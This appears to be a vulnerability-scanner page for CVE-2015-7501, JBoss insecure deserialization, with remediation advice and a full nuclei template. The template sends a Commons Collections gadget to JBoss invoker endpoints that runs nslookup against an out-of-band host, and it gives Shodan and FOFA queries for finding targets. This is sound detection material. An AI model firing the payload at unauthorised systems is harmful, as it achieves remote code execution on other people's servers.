Red Hat JBoss - Insecure Deserialization

criticalseverity

9.8CVSS score

85.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.

Impact

Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.

Fix

Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.

How to confirm it

Send: GET {{BaseURL}}/jmx-console/
Positive when: contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")
Send: POST §endpoint§
Positive when: contains in interactsh_protocol "dns" AND contains_any(tolower(body), "classcastexception","jboss")

Run it with nuclei: nuclei -id CVE-2015-7501 -u <target>

The full check

id: CVE-2015-7501

info:
  name: Red Hat JBoss - Insecure Deserialization
  author: pdteam,DhiyaneshDk
  severity: critical
  description: |
    Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
  impact: |
    Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.
  remediation: |
    Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7501
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822
    - https://github.com/ianxtianxt/CVE-2015-7501
    - https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE
    - https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-7501
    cwe-id: CWE-502
    epss-score: 0.85562
    epss-percentile: 0.99724
  metadata:
    verified: true
    max-request: 7
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query: http.html:"/jmx-console/" http.title:JBoss
    fofa-query: 'title="JBoss" && body="/jmx-console/"'
  tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/jmx-console/"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")'
        internal: true

  - raw:
      - |
        POST §endpoint§ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object
        Accept: application/x-java-serialized-object

        {{generate_java_gadget("commons-collections3.1", "nslookup {{interactsh-url}}", "raw")}}

    attack: clusterbomb

    payloads:
      endpoint:
        - /invoker/JMXInvokerServlet
        - /invoker/EJBInvokerServlet
        - /invoker/readonly

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "classcastexception","jboss")'

References

Use this check only on systems you are authorised to test. Where the data comes from